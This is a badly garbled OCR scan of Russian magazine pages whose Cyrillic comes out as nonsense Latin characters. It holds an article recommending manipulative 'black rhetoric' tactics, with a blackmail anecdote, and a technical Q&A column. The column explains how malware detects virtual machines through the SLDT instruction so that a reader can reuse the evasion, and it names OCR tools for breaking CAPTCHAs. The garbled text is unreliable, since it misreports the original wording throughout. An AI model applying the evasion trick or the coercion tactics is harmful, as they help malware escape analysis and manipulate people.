OH fonxeH Bbln NPOBOAUTL ANS COTPYAHVKOB
KOMMaHWW CEMUHAP M0 BHePEHUI0 HOBOM
ctpaterun. Bce cobpanuch B NATHNLY Ha Bble3ge,
HO 0Ka3anoch, 4To GUHAHCOBbIV AUPEKTOP, Na-
HWPOBaBLVI BHEAPWTb CTPaTerwio, Obii yBOEH.
PaboTtHukn 0bpagoBanuce, 4To MoXHO ByaeT no-
paHblue YT gomoit; ocobeHHo bywesanu Asoe
N1AepoB, NoAbMBaBLIMX BCEX HA «PEBOIOLMIO».
OHM HaMeKanu Ha To, YTO eC/IM KOYY HacTOUT Ha
npoBefeHNV CEMNHAPa, TO TPEHUHT MONYyYUT
MJI0XYI0 OLLEHKY, YTO HEraTVBHO CKaXeTCs Ha

ero kapbepe. bpepematiep npegnoxun caenatb
kode-bpeiik. Bo Bpemsa nepepbiBa oH oTBEN
napouKy 3a4MHLLMKOB B CTOPOHY ¥ cka3as: «MTak,
[LOpOrvie Mou, ceityac Mbl CbirpaeM napTuio B
nokep. BapnaHT nepBbiii: Mbl NPOBOAVM TPEHUHT,
Bbl NYILLIETE Ha MEHS Xanoby nnn HeraTusHy
peLeH3nio, ¥ BCe pa3be3sxatoTcs Mo JoMam.

B cBoto ouepesb, 5 ToXe Npriesxato oMo, B
noHefAeNbHUK yTPOM 3BOHIO BalLeMy IMPEKTOpY
— NPeAnoNOXMM, i C HUM XOPOLLO 3HaKOM JINYHO,
— 1 coobLato 0 iBYX COTPYAHMKAX, MblTAOLLMXCS
noAopBaTh penyTaLmio v GUHAHCOBOE pa3Bu-
Te dupMbI B yrogy cBomM amburumnam. Bropon
BapWaHT: Mbl MPOBOAUM TPEHWHT Tak, Kak bbino
3annaHnpoBaHo, 1 s 3abyay o BaleM NoBeAeHUN.
Ho npu aTom Bbl NoobeLllaeTe MHe NOALEPXKY 1
copelicTBMe BO BpeMs ceMuHapa. MTak, yepes
[1B€ MUHYTbI Mbl 110 CHAMM B ayaunTopuu, nnbo
pa3besxaeMcs no fomam. PelueHne 3a Bamu».
Ha To BpeMsi aBTOp 1CTOPMM He Bbis 3HAKOM C
LMPEKTOPOM, OH MO3HAKOMUIICS C HAM TOSTbKO

B NOHe/esIbHYK, NOC/e Ya4HO NPOBeLeHHOro ce-
MUHapa. Ho Toraa, B KpUTUYECKMUIA MOMEHT, HUKTO
3TOr0 MPOBEPUTH HE MOT.

Jlydwe, ecnv npu nocTaHoBKe ynbTUMaTyMa

B BbIFOHOM A1 Tebs BapnaHTe byaeT Takxe
4TO-TO NPUBJIEKaTENbHOE [/15 TBOEO NPOTUB-
Huka, byeT nerye CKNOHWUTb €ro K Hy>KHOMy Tebe
peLleHnto.

W ele: Yem paHblue Tbl HaYHeLWb cBOV bed —
TeM Jlydlle, Tak KaK COMepHYIK He ycreeT Mo roTo-
BUTbCSH MHHOPMALIMOHHO 1 MOPabHO.

YepHada puTOpUKa

B HPO(I)ECCI/IOHaJIBHOI/I
IIpaKTHUKE

Yalle Bcero ncnonbayioT npreMsl yoexaeHns
HOPUCTBI, KOYUW, KOHCYbTaHTbI, Ncuxonory. [lasait
NPOMOHWUTOPVM OCHOBHbIE MPUHLMMbI, KOTOPbIM
OHW CReayioT.
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Lo

Hanpumep, B opuamnyeckoit npakTuke ecTb
HernacHble npaBmna, No KoTopbiM aABoKaT U
NPOKYpPOp A0JXeH CTPOUTL CBOIO peyb (aymato,
oHU NpurogaTcs v tebe):

® BLIFOAHAsA aprymMmeHTauus cobbiTuit, Ho 0ba3a-
TesNbHO ¢ GpaKTaMu, Ha KOTOPbIE MOXHO OMupaThCs,
nycTb Aae oHW ByayT Mano3HaunTenbHbIMU;

® peyb A0/KHA COAEPKaTb OAHY CTEPXKHEBYIO UAEH0,
a BCe 0CTaslbHble GpaKTbl — BPaLLaTbCsl BOKPYr Hee;
® OpUEeHTaLMs Ha CyAblo: ONTUMabHOE COOTHO-
LeHne nays, NOBTOPOB, PaBHOMEPHbIA TeM, YeT-
Kasi U 1akoHW4Has peyb, B MepY IMOLMOHANbHAS;
MeTadopbl AOMYCKATCHA B IMUYHbIX fenax, v xe
[le10 paccMaTpMBaeTCs B X039CTBEHHOM CYAE,
TO OHM MPOTVMBOMOKAa3aHsbl, Tak Kak MOryT ObITb
MCTONKOBaHbI MPeBpaTHO;

® apryMeHTaLms JofkHa bbITb NOCTpoeHa Tak,
4TO6bI Apyras CTOPOHA He MOTf1a UX ONPOBEPTHYTh;
nyCTb apryMeHToB ByeT MeHbLUe, HO OHUW JONXKHbI
BbITb BECOMbBIMU. A CaMblli OCHOBHOW NoAaBaTh
Torga, Korga cyabs rotoB byLeT ero BOCNpuHATH.

Kunemarorpad

BoTxusoit nprMep 13 dunbma «3pech KypsaT».
[MepBas cuyeHa: BeAyllas TeneLloy nokasbiBaeT
JbICOr0 OHKO-DOIBHOrO Manbyyika Co cioBaMu
«OH bonblie He CHMTAET, YTO CUTapeTbl — 3TO
KpyTO». IMOLMOHANbHOE AKOPEHWE — «CUrapeThl
=pak», B UTOre — «MOCMOTPUTE, K YeMY NPUBENO
KypeHue». B oAHOM 13 npeAblAyLLMX HOMEPOB Mbl
rOBOPUJIN O TOM, 4TO MPU CUJIBHOM 3MOLMOHaNb-
HOM BO3[eMCTBMN IOTMKa NepecTaeT paboTaTs.
Panom cuaaT npeacTaBuTeny opralusaduii,
BoproLLMXCA C KypeHVIeM 1 paTYIOLLVX 33 34,0POBbIV
06pa3xun3Hu. Kak BbikpydmsaeTcs AapoH JkxapT,
rnaBHbli repolt, PR-areHT kpynHoii TabauHoi
KoMMaHun? «Hate KoMNaHUK HeBLIFOAHO, YTODbI
3TOT Manb4nk ymunpan. bonee Toro, Mbi notepsiem
nokynaTeneit. Halua Bbirofia B TOM, 4T0bbl Manbymk
XKUA BOAro 1 kypun». Bknoyaetcs norvika... Asefib
[leicTBUTENbHO, HeBbIroaHO. OTAnMYHas nogMeHa
cMbIC/10B: «TabayHas KOMMaHUs HeCET CMepTb
KypuabLLMKaM» NpoTuB «TabayHoi koMnaHum
BbIFOAHO, 4TODbI KypsiLLyvie kunu fonro». Kro
B03pa3nT? ;) CyTb npriemMa B TOM, 4To abCTpakTHO-
coumanbHas ycTaHoBka bbina pas3buta HarnagHbIM
1 NOTUYHBIM apryMeHToM. «Kpome Toro, — npo-
[0J1KaeT BEIMKUIA opaTop, — CMepTb 3TOr0
pebeHKa BbIrofiHa OpraHn3aLmnsaM 300poBba — 415
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Ecnuxoyewb 6bIThb NpaBUNIbHO MOHATbLIM, HE 3abbiBaiio ueneBou ayounTopun

caMopekiaMbl — OHV MOJyYaloT Ha 3TOM AeHbr. A
Mbl B Bnvxaliluee Bpemsa cobrpaemMcs 3anycTuThb
NATUAECATUMUNNMOHHYI0 KAMAAHWIO N0 OTyYeHMI0
fieTeii oT kypeHus. [lymato, Bce CO MHOW cornacsT-
CS1, 4TO HET HMUYero BaxHee, YeM 3[10pPOBbe HalLWX
neteln». 310 BoobLe xecTb! Tenepb okasbiBaeTcs,
4TO OpraHu3aLKs no 3abote 0 340pOBbE — 3TO
rNaBHbI Bpar 300poBbs, a TabayHas kKoMnaHus
3aboTuTcs 0 byayliem aMmepuKkaHCKux feTei.
[Mpriemsi:

® «JyMalo, BCe CO MHO COrNacaTcs» — aBToMaTu-
"eckoe NpucoeHeHVe MHeHUS TOMbI;

°® eMOHCTpaLys 3ab0Tbl 0 30,0poBOM byayliem
neteit. Ouenb bnaropogHas Lesb, coupanbHble
HOPMbI €€ MOOLLPSIOT, eCTeCTBeHHO, Nybavka npu-
COeAMHUNACH K €70 MHEHWIO;

e norudeckn (He pakTudeckn) nogkpennerHoe
06BrHeHVe B agpec onnoHeHTa. Kctatu, npo-
TUBHUK H1Yero kpoMe «[la kak Bel cmeeTe..»
BO3Pa3uTb He CMOT;

* 3asBeHne 0 50-MUNMOHHO KaMNaHKK oKa3a-
nocb 6n1epom, Ho obelliaHKe roNOBOKPYKUTENBHOO
ycnexa («[Tpecca yse B BocTopre. Bol MHe eLe «cna-
cnbo» ckaxeTe!») nomorno nepeybeamts 6occa.

YyTh BhIIIIE, YEM IIPOCTO
cioBa. Irpa cMmeiciaMmu
Kaxabiii npodeccronanbHelil ncnxonor (a Tenepb
Y Tbl) 3HaeT, uTo nouTK oboe ABeHue v 0bpas
IMeeT He OfIHY, a iBe N iaxe bosbLe CTOpOoH:
Benyio, YepHyto 1 Maccy PYr1x MPoMeXKyTOUHbIX
0TTEeHKOB. BoT baHanbHbIN npyMep: cyllaThes
pOAMTENEN — 3TO XOPOLLIO AN NI0X0?

[lepBas Touka 3peHNst — XOPOLLIO:

1. pOAWTENM NAOXOr0 HE MOCOBETYHOT;

2.y poauTeneii bonblue onbITa;

3. poauTenu HecyT OTBETCTBEHHOCTL 3@ CBOMX AeTeN.
BTtopas Touka 3peHus — nnoxo:

1. poouTeny 3HALOT, YTO XOPOLLO ANA HUX, HO OT-
KyAa OHW 3HAIOT, 4TO XOpoLLo ans Tebsa?

2.y pofuTenei CBOV oMbIT, oH Bbin noneseH npu
Tex BpeMeHax 1 06CTosTeNnbCTBax, B KOTOPbIX
KWW OHW. PoguTenu yBepeHbl, 4To B HalLeM Beke
nocetleHune brbnvotekn npureceT Tebe bonblue
npoduTa, YeM NPOXOXKAEHME TPEHVHa No nukany?
3. NOCTOSHHO NepeknablBas 0TBETCTBEHHOCTb

3a fieTell Ha cebs, POAWTENN PUCKYIOT BOCTIUTATb
B3pocoro pebeHka, He cnocobHoro Wwary caenatb
CaMoCTOSATENbHO M 0TBEYATb 3@ CBOM MOCTYMKM...

Ecnn bl 5o cux nop He MoHs, K 4eMy 5 KI0HHO,
CKaxy NpsiMo — tobO apryMeHT ONMnoHeHTa Thl
MOXelllb PaCCMOTPETb C PYroi TOUKM 3peHns,
npvAaTh eMy Apyroi cMbICI, v Tora rnobanbHble
BOMPOCHI OKAXYTCH M0 CYTU HE3HaUYNTENbHBIMU B
KOHTEKCTe TBoel nepcnekTyssl (apryMmeHT «Beic-
Wwee obpa3zoBaHue HeobxofnMo!» — KoHTpapry-
MeHT «HeobxoanmMo obpazoBaHue Unv 3HaHua ?»);
HeraTVB NpeBpaTUTCs B No3UTUB ([aprymeHT
«Kpuswc, Bce nnoxo» — koHTpaprymeHT «Kpusuc
— 3T0 BCerja Hayaso HOBOTO 3Tana pasBuTus»
nnu «HakoHelly Hac eCTb BpeMs NoayMaThb, TeM Jin
Mbl 33HMMAEMCS, YeM XOTHM»).

KcTaTut, nonnTvikn 1 >KypHannCTbl 4acTo MCMosb-
3YI0T 3TOT XUTPbINA NpUeM, MOAMEHSAS NPUBbIY-
Hbl€ HaM CTEPEOTHMbI HOBbLIMU.

AOL — co3pgatenu ponunkos «Internetis a good
thing» u «Internet is a bad thing» (nonwwm Ha
YouTube no oHOMMEHHOMY Ha3BaHMIo) no-
Ka3anu HaMm, Kak 1erko MoXHO MaHuNynMposaTb
HalUM MHEHWEM.

MHTepHeT — 370 xopowwo. CTonbko nHdopmMaLmuu,
CKOJTbKO XPaHWUTCH B UHTEPHETE, He HANTU HU B
ofHoM bubnnoTteke, 310 Mo Has basa ons obpa-
30BaHuWs. Bce HOBOCTM Mbl y3HaeM oTTyAa, B TOM
yuncne, ecnu xepTeam kakoro-nunbo bepctaus
Hy>XHa NOAAEepPKKa; 4acTo OHM NosyyatoT ee bna-
rogaps ornacke B Cetn. CBoboga cnosa — 310
OrpoMHOE NpeunmyLLecTso. Mbl MoxeM cBoboaHO
obuwatbes v BUAETb ApYyr Apyra, HaxoAsChb Ha
MONSPHBIX TOYKaX MaaHeTbl; CKoSlbko nap bbino
co3fjaHo bnarofaps VHTepHeTy... 3To YacTb Hac.
MHTepHeT — 370 nnoxo. Bnarogaps uHTepHeTY
KTO-TO NAaHUPYeT 1 COBEPLUAET NpecTynHble Aeii-
CTBWS; cobupas AaHHble 0 kKepTBe, NONly4aeT BO3-
MOXHOCTb [/1% HAHECEHWs COKpYLUatoLLLEero yaapa.
B vHTepHeTe MOXHO KynuTb BCe, YTO YrofHo, B

TOM Yucne AeTel Unv Yenoseyeckre opraHbl Ans
TpaHcnnaHTauvun. bnarogaps eMy Mbl HaxoauMcs
nof, NOCTOsIHHbIM HabAtofeHeM Beb-kamep, KTo-
TO, BO3MOXHO, YUTAET HalLly Nepenmncky, rae Mbl
roBOPUM 0 INYHOM... CeTb 3ab1paeT Hally Xu3Hb,
npeBpallas ee B 04epeHYo MaTpuLly.

Ha camom fiene, ecnu Tbl Hay4YnLWbCS UTPaTh
cMbicnamu, Tebe He Hy>KHbl HaBbIKM KpacHopeyuns,
— MHOra MUPOBO33PEHIE MOXHO C/IOMaTb OLHUM
NpoAyMaHHbIM U BOBPEMSI CKa3aHHbIM C/TIOBOM.

B 3akyroueHue

YepHas puTopuka — 370 He npocTo Habop npue-
MOB, NPVYIMEHSS KOTOpbIE, Thl CMOXELLb YbeanTb
[Many Pumckoro npuitTvi Ha Be4epuHKy K cataHun-
cTaMm. 370 onbIT, NprobpeTeHHbIN MeToLoM Npob 1
oLMBOK; HY>XXHO YyBCTBOBaHWe cobeceaHuka, BU-
fleHne ero cnabbiX 1 CUbHBIX MECT, yA3BMMOCTEN
MUPOBO33PEHWS, HyXEH Pa3BUTLIA MHTENEKT,
TpeHMpoBKa, 0TTa4nBaHne MacTepcTaa. HTobbl
CTaTb MacTepOM C/I0Ba ¥ MbIC/IW, YWTal nuTepa-
TYpy Ans XypHanucTos, PR-wukos (ocobeHHo
uepHbIi PR, AHToH Byiimal, kHuru no nckyccTsy
ybexxaeHus, cMoTpy GUAbMBbI M 3aMOMUHal Hau-
bonee noHpaswBLLKECSH aMOpTK3aLLMK, bepy nx
Ha BoopyeHue. V1 kaxablii leHb peanunsyi 37o Ha
npakTuke. [1pu TakoMm nofxoge ycnex nocTeneHHo
npuget. A etle untain ][ — y MHOrUX aBTOPOB MOXHO
NOYy4YNTLCH KpacHopeuuio :).3-
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Q: Kpuc Kacnepcku B cBoe BpeMsi npuBoAUn
AeNnbHbI cnocob ypesaTts Windows — ypanutb

Bce ¢ainbl, y KOTOpbIX AaTa M BpeMs o6palleHuns K
HWUM He OT/IMYAIOTCS OT AaThl yCTaHOBKM CUCTEMBI.
fl nonbITasncA HanNMcaTb Npory, koTopas Aenana bl
3T0 aBTOMaTU4eCKHU, HO, KaK 0Ka3anocb, U3Beyb
MAC (Modified, Access, and Change) — He Takas
TpuBManbHas 3agaya. 06bi4Hble GpyHKUUM AN
ynpasneHusi paitnaMm ¢ 3TUM CNPaBUTLCS HE MOTYT.
Kak 6b1Tb?

A: EcnviTebd He nepenonHsaeT xenaHue KoBbI-
paTbea ¢ Tabnuuen MFT v ee cTpykTypamu (a
TaM eCTb MOABOAHbIE KAMHI, MOBEPb MHE), TO
nlyylle B KaYecTBe NOMOLUHMKA MCMOb30BaTb
yTuanTy mac-robber (www.sleuthkit.org).
Tynsa mac-robber yeTko 3aHnMaeTcs TeM, 4To
cynteiBaeT atpnbyt MAC nns Bcex dpalinos B
cucteme. KToMy e oHa HanvcaHa aBTOPOM 13-
BeCcTHoro Habopa npunoxeruii The Sleuth Kit
(TSK], npeaHasHaueHHbIX 19 caMoro noapob-
HOro M3yyeHus xecTkoro avcka. OHW Tebe Toxe
NPUrOAATCS: eCNN BCE Xe 3ax04ellb MOKOBbI-
paTbca ¢ MFT, To ang nyylwero NnoHMMaHUs Xo-
polwo bbl cHavana nopaboTaTh CO CTPYKTYPUPO-
BaHHbIMUW OTYETaMMU, KOTOpPbI nofroToBAT TSK
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nnpora ProDiscover (www.techpathways.com
DesktopDefault.aspx?tabindex=3&tabid=12].

0: Kak npoLie Bcero ycTaHoBUTb MOAY/b K
Python'y?

A: [1nsToro, 4Tobbl ckayaTb, cobpaTb, ycTaHo-
BUTb WA 0OHOBUTL MOAYAN, €CTb CNeLManbHbIi
MHCTPyMeHT setuptools. HeobxoanMble MHCTPYK-
unn 1 daiinbl-uHctannsTopsl Ans pasHbix OC Tbi
Bcerfa Haliaelws Ha cailTe pypi.python.org/pypi/
setuptools. Moa BUHAOW NOAKNOYEHNSA HOBOO
MOAYNS K MHTepnpeTaTopy BbIMSANT CeayoLL M
obpasom:

1.Mocne yctanoBkM setuptools B nanke co cue-
HapusMny Tebs nosBasieTcs ckpunt easy_install,
aTakxe ero CKOMMUIMPOBaHHas BepCHs B BUIE
exe'WHKKa. HazBaHne roBopuT camo 3a cebs —
peLleHne NCnonb3yeTcs AN NPOCTON HCTaNNsA-
LMK HOBbIX MOayneit. 3To kak MeHe[xep nNakeTos
L1591 CUCTEMBI.

2. C aToro MoMeHTa toboit Moaynb ycTaHaB-
NIVBaeTCs MPOCTON KOMaH[0M Yepe3 KOHCOJb:
easy_install [Hassarue mogynal. B atom ciyuae
BCe HeobxoauMble dalinbl 3akaynBaloTCs U3 peno-
3utopus. [ToMUMO 3TOr0, MOXKHO yKa3aTb CCbiKy

Ha apxuB 1/unn egg-naket (creumanbHbIi GopMat
ana 6ubnnotek Python) ¢ Moaynem:

easy_install example.com/path/to/

MyPackage-1.2.3.tgz.

Q: Kak npolye Bcero onpeaenutb, 4to PDF-daiin
3apa)keH, He 3aMopaYUBasACh C XUTPbIMU yTUNUTA-
MM, KOTOpbl€e He AAI0T YETKOro OTBETA, a BbiNeBbl-
BalOT NPOMEXYTOYHYI0 MHpOpMaLMIO ANA aHanm3a
cneuuanucToM. Xo4y NpocToro oTBeTa — 3apaxkeH
dain unmHer.

A: CaMmbli NPOCTON MHCTPYMEHT B 3TOM NnaHe

— ymunuta PDF Scanner (blogs.paretologic.
com/malwarediaries/CL_PDF_Scanner.zip). Ha

BX0[ el nofaetcsa jokymeHT B dopmate PDF, aHa
BbIXO/le OHa BbIJAET Of{1H U3 TPEX BEPANKTOB:

1. «nothing found» (pain unctl;

2. «potential risk — JavaScript code» (B paiine
ecTb JS-BCTaBKM, KoTopble MOTyT bbITb onacHbl):
3. «suspicious file» (baitn conepxunT onacHble
BCTaBKW, UCMOJb3yeMble, Kak MpaBuso, Mansa-
poto). Eciv ecTb xenaHue noskcnepumMeHTnpo-
BaTb, N0ONpobyi CKOPMUTL NPOrpaMme Napy «nno-
Xux» hainos C 3apaxkeHHbIX JOMEHOB U3 CIUCKa,
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obHoBnsiemMoro Ha canTax malwaredomainlist.
com n mdl.paretologic.com.

Q: loBopsT, ByaTe SKype ectb koMaHabl a-ns IRC.
Taknunsto?

A:Ha camoM flene yaT B Skype — 3T0 NOYTU TOT Xe
camblit IRC-kaHan. MHorve cpefcTBa anq ynpas-
NeHnsa kaHanoM peannsosaHbl B camoM GUI-1H-
Tepdelice, HO HeKOTOpble BELLLM MOXHO clleNaTb
TOJIbKO C MOMOLLLbIO CrieluanbHbIX KOMaHA,. Hixe
— Hanbonee BaxHble U3 HUX:

/add [username] — [0b6aBUTbLNONb30BaTENS
username K uyary.

/leave — MOKMHYTbYaT.

/topic [text] —ycTaHOBUTLTOMMK KaHana.
/get guidelines — NpoCMOTp Tak Ha3blBaeMbIxX
guideline’oB, To ecTb NpaBwn 4aTta

/kick [username] —ypaneHne noib3oBaTend
“34ata.

/kickban [username] — cobcTBeHHO, Kick 1
BaH.

/set u /set banlist —ynpasneHvie Cnnckom
nonb3oBaTeselt, KOTOPbIM 3aMpeLLEHO NpUcoean-
HATbCS K YaTy.

/set u /get allowlist —ynpasneHvem
CMUCKOM M0J1b30BaTesNei, KOTOPLIM Pa3peLLleHo
NPUCOEANHATLCH K HaTy.

/setrole [username] MASTER | USER |
LISTENER — yCTaHOBKa OMnpefefieHHON ponn Ans
nonb3oBaTensi.

[MocnepHss koMaHfa TpebyeT NosCHeHWS: YTO 03Ha-
yatot ponu B Skype? CREATOR n MASTER — aTo yTo-
To Bpoze MoaepatopoB. USER — camblit 0BbI4HbIN
nonb3osatensyata. LISTENER — to3ep, koTopbiii
YHacTBYET B YaTe B PEXMME «TOSTbKO YTEHMEY.

Q: Bo MHOrMX MecTax cTan BCTpeyaTb BeKTOPHble
rpagmKu 1 pUCYHKU, KOTOpbIE 3[10POBO BbIFNAAAT

M npuaToM co3paHbl 6e3 npumeHenus Flash-un
Silverlight-rexHonorui. Bce, 4to ucnonbsyerca —
JavaScript. Ho Hey>xenu Bce 310 nuwieTcs c Hyns?
A: CneuwnansHo gns Toro, 4tobbl ynpocTuTh paboTy
C BEKTOpHOW rpadukol, paspaboTaH NpUATHLIN
dpenmeopk Raphael (raphaeljs.com). Paspabot-
Ka y4nTbiBaeT pekomeHfaunmn W3G no popmaty
SVG, a Takke MCMOb3yeT CTaHAaPTU3MPOBaHHbIN
Vector Markup Language [a3bik BekTOpHOI pa3-
MeTku). 310 03Hauaer, uto Moboli rpadrUecknii
06beKT, cosgarHbIi c nomobio Raphael, asnset-
csi npuBblYHbIM DOM-006bekToM. Thl MOXeLb
nerko obpatatses K HeMy 13 noboro JavaScript-
cleHapus, HasHavaTb 06paboTkn cobbITHIn —
Kopoue roBopsi, bez npobnem ncnonb3oBaTh ero.
[ina nprMepa co3fnafm Ha CTpaHULLE OKPY>KHOCTb
KpacHoro ugeTa:

// Co3maeM MOJIOTHO mJisi pucyHKa 320 x
200 B HA4YaJIBLHOM TOYKE C KOOPIMHATAMU
10, 50

var paper = Raphael (10, 50, 320,

200) ;

// PucyeM Ha IOJIOTHE OKPYXHOCTB B X,y
= (50, 40) u pammycom = 10

var circle = paper.circle (50, 40,
10);

// 3anmBaeM OKPYXHOCTH KPAaCHEM (IIBe-
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Tom #£00)
circle.attr("fill", "#£00");

Hw Ha rpamMM He cnoxHee co34aTb C NOMOLLbIO
Raphael nobyto gpyryto durypy, a notoMm MaHmny-
nnpoBaTh eto. CToNb NpoCTo NoAXo N03BONSET,
Hanpumep, peann3oBaTh KpacKBble AUHaMuUyec-
Kve rpadukm 1 anarpamMmmbl, UCNOb3ys YACThIV
JavaScript B Tol1 0bnactu, rae TpagviLMoHHO
ncnonb3osancs Flash. 310 06Wmi TpeH TexHo-
norum HTML 5.

Q: MoxkHo nn no PCAP-gamny c oTcHU¢aHHbIM B
nokanke TpapuKoM NOCTPOUTb CXEMY NIOKaNIbHON
cetn?

A: Ecnu peyb naeT o C0XHOM ceTu, To, BEpO-
ATHee BCero — HeT. Ho 3TV flaHHble MOTyT CcTaTh
OT/IMYHOW OTNPaBHOM TOYKON N1 aHaNM3a.

[Mo KpaiiHel Mepe, OHM COAEPXKaT AaHHble O
BaNMAHbIX Avana3oHax |P-agpecos. Kctatn, aBTo-
MaTn3KpoBaTb cbop AaHHbIX 0 10KaNbHOM CeTu,
“Mes famn ¢ Tpadukom, ymeeT NepaoBbIi CKkpunT
nwmap [nwmap.sourceforge.net). [ina pabotsl
eMy noTpebyeTcs ycTaHoBeHHbIV ckaHep Nmap v
cHuddep Tshark.

Q: [laHo: embedded-pgeBalic, koTopbill Hago ne-
penpowuTe. o ngee, MOXHO K1HYTb Ha GeLlky
daiin c npowmskon 1 BcTaBuTb ero B USB-pasbem
ycTpoiicta. OfHako feBalic ee no4YeMy-To He BU-
ouT. MepBas Mbicnb — dnewwka Ha NTFS, noaTomy,
HaBepHoe, U He MOXeT NpoymnTaThes. Ho, oTdop-
MaTupoBsaB B FAT ¢ NOMOLLbIO BUHABI, 1 TaK HUYEro
He gobuncs. Ectb ngen, kak pewnts npobnemy?
A: Ckopee BCero, aesaiic NoHumaeT Tosibko FAT/
FAT32. YT06bI NpaBmibHO oTdopMaTpoBaTh
bneLuKy, 4acTo HeJ,OCTaTOYHO BCTPOEHHOIO B
BWHAY. A BOT KTO TOYHO CMPaBuUTCs — 3T0 yTUAUTEI
HP USB Disk Storage Format Tool nnn PE2USB. Y

HUX HeT AOMaLLHUX CTPaHUL, HO BUHAPHWKW Nerko
nulytea yepes Google.

Q: 3kcnepuMeHTUPYs ¢ ManBapbio, ynepcs B TYMUK.
Teno 3arpysuuka onpepenserT, Y4To 3anyLEeHO

B BUpTyaJibHOM OKpY>KeHuH (s l03ato VMware
Workstation) u He 3apa)kaeT cucteMy. MeHst
MHTepecyeT MeTofiuKa. Xouy Talkoke UCMoMb30BaTh
nopo6Hble MexaHU3Mbl B CBOMX paspaboTkax.
EcTb M KOHKpEeTHbIEe peLienTbl, Kak onpefenuTb
npucyTcTBUE BUPTYanku?

A: MHor1e 3arpy34rku NpoBePSIOT, BbIMOIHAOTCS
JIV OHW B CPe/ie BUPTYanbHO MalLVHbI, MPOCTO
cunTbiBas cogepxumoe pervctpa LDTR. B Hem
COLEPXUTCS CeNeKTop CerMeHTa, B KOTOPOM pac-
nonaraeTcs okanbHas Tabaviia AeckpunTopos
cerMeHTa, HeobxoAvMas Ans BbIYMCIEHNS TMHEN-
HOro afipeca v3 napbl «CenekTop CerMeHTa — CMe-
weHwve». Cama Windows faBHo He ncnonbayeT
flokanbHble TabnuLibl 4eCKPUNTOPOB CEMMEHTOB,
v noatomy 3anonHaet pernctp LDTR Hynesbim
3HayeHneM. A BOT BUPTYyasibHble MalLVHbl, B TOM
yncne VMware — vcnonb3ytoT. [lonyyaeTcs coB-
CeM MpocTas NpoBepKa: eCTb 3HaYeHWe perncrpa
LDTR, oTnnyHoE OT Hyns, 3HAUYWT, BbINOSIHEHWE
npouecca oCyLLeCcTBASETCA B BUPTyaNbHOM
okpyxeHun. KToMy ke g nonydeHns 3HaueHus
perucTpa ucnonbayetcs nHctpykuusa SLDT (Store
Local Descriptor Table Register), kotopas He
ABNAETCH MPVBUNETMPOBAHHOM 1 MOSTOMY MOXeET
BbITb BbINOAHEHA B ring-3 N0ObIM MPUAOXKEHNEM.
Pesiome BbileckaszaHHOro: A onpegeneHums
BUPTyasku nporpamMme 0CTaTo4HO BbI3BaThb
nHcTpykumio SLDT v nocMoTpeTs, oTnnyaeTcs nu
noayyeHHoe 3Ha4YeHue OT HyNs.

Q: 3ameTun cnepylowwmin GakT: MHorme caMmopgesb-
Hble CAPTCHA coBepLuieHHO HeunTtaeMbl. A6co-
JIIOTHO HEMOHATHO, KaKOW KOHKPeTHO n306pakeH
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cumBon:Tonuatol, Tonu 1, Tonul. Monyyaercs,
pa3pabaTbiBasi CBOIO Kanuy, Jiy4lue BoobLe BoBpe-
MS UICKNIOYNTb 3TU CUMBONbI?

Q: 3a ocHoBY NyyLLie BCEro B3ATh CleayioLLnii
nuana3soH cumeonos: [A-Z][a-z][0-9] v ganblwe
MCK/II0YATb M3 HEro NpobieMHble 3N1eMEHTI.
MHoroe 3aB1CKT OT aNropyTMa 1, B YaCTHOCTH,
0T MCMOb3YeMOro LWpUdTa: OH MOXKET ObiTb C
3aceykaMu Unm 6e3 HMX, 1 3TO CUITbHO NOBANSET
Ha ynTaeMocTb. [NaBHas npobneMa B TOM, 4TO
nocine fedopMaLuil, UCKaKeHU U HaknaaslBa-
HWS LUYMOB MHOTMe ByKBbI CIOXHO 0JHO3HAYHO
noeHTndunumpoBatsb. Hanpumep:

o«l», «1», «|» — BCE CUMBOJIbI CIVLLIKOM MOXOXM
Lpyr Ha apyra;

©Wh, «c» —«w» 04EHb MPOCTO CMYTaTh C <V UM «W»;
® «0»,«0», «Q» — 04eHb NOX0XMN, ocobeHHo ecu
Ha Kanye [06aBAA0TCS LWYMbI;

0«g», «9» — NpaKTMYeCKM OiIUH CUMBOJ, 0COBEH-
Ho nocne fedopmanuu;

0«3», «8» — MOryT bbITb CNyTaHb! ipyr ¢ ApyroM v «B;
o «» — 4aCTo MOX0XKa Ha «A»;

0«5» — MpY HAKJIOHE HEOTANYNM OT «S»;

e«|.» —nocne HakNoHa MoXeT BbITb CnyTaH ¢ «V»;
o«» — MOXET DbITb MepenyTaH ¢ «nx»;

e«h» — nocrne cKpy4vBaHUS MOXOXKE Ha «N»;
o«Y», y», «V» — 4acCTo HeOTINYUMbI nocne
nedopmauuit.

Ho naxe ecnu Boobue CKMOYNTL 3TU CUM-
BOJIbl, MOCTPOUTL HAAEXHYI0 Kanyy bonee yem
BO3MOXHO.

Q: MHe oyeHb NOHpaBuWJIach Balla CTaTbs NPo B3JIOM
CAPTCHA. Ho Bce-Taku, ecnu He nucaTb caMoMy
HelipoHHYIo ceTb U He 06yyaTh ee, He peanu-
30BbIBaThb C/IOXKHbIE ANFOPUTMbI, KOBBLIPSSICh B
npemyapoctax OCR, ecTb N1 Kakue-HMGYyab ABVKKN
NS pacno3HaBaHWs, KOTopble MOrNM 6bl NOMOYb BO
B3nome CAPTCHA?

A: Mo bonblUOMY CYETY, HY>KHO TO XKe camoe, YTo

1 Ans oundpoBKM 0BBIYHOTO TEKCTa, TO eCTb 3d-
dekTBHoe OCR-pelweHwme. TexHonoruii, kotopble
OTKPbITbI, BecnnaTHel U Npy 3ToM faxe paboTaloT,
He Tak MHOTO.

GOCR (jocr.sourceforge.net] — npepensHo npoc-
Toi 1 oTKpbITbIN OCR-NakeT, KOTOPOMY He HY>XHO
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MNpopBuHyTas BekTopHas rpaduka Haumctom JavaScript

obyueHwe. PaboTaeT o4eHb BbICTPO, HO He Tak
TOYHO, Kak ipyrue bonee CAOXHbIE ABVXKKMU.
Tesseract (code.google.com/p/tesseract-ocr])

— apyroii becnnaTHbiit OCR-ABWXOK, KOTOPbIN
pa3pabatbiBancs komnaHueit HP ¢ 198510 1995
rog. Ansi Toro, 4tobbl HA4aTb pacrosHaBaHue,
notpebyeTcs bonee cnoxHas HacTpoiika, Ho 1
pe3ynbrat byneT HamHoro TovHee, yemy GOCR.
ocropus (code.google.com/p/ocropus) — asTo

y>Ke oCHoBaHHas Ha Tesseract cuctema ans pac-
NO3HaBaHWs TeKCTa, Ho 0T II0BUMOro 1 0AHOBpE-
MeHHo Henobrmoro Google :). MpoekT ele Mono-
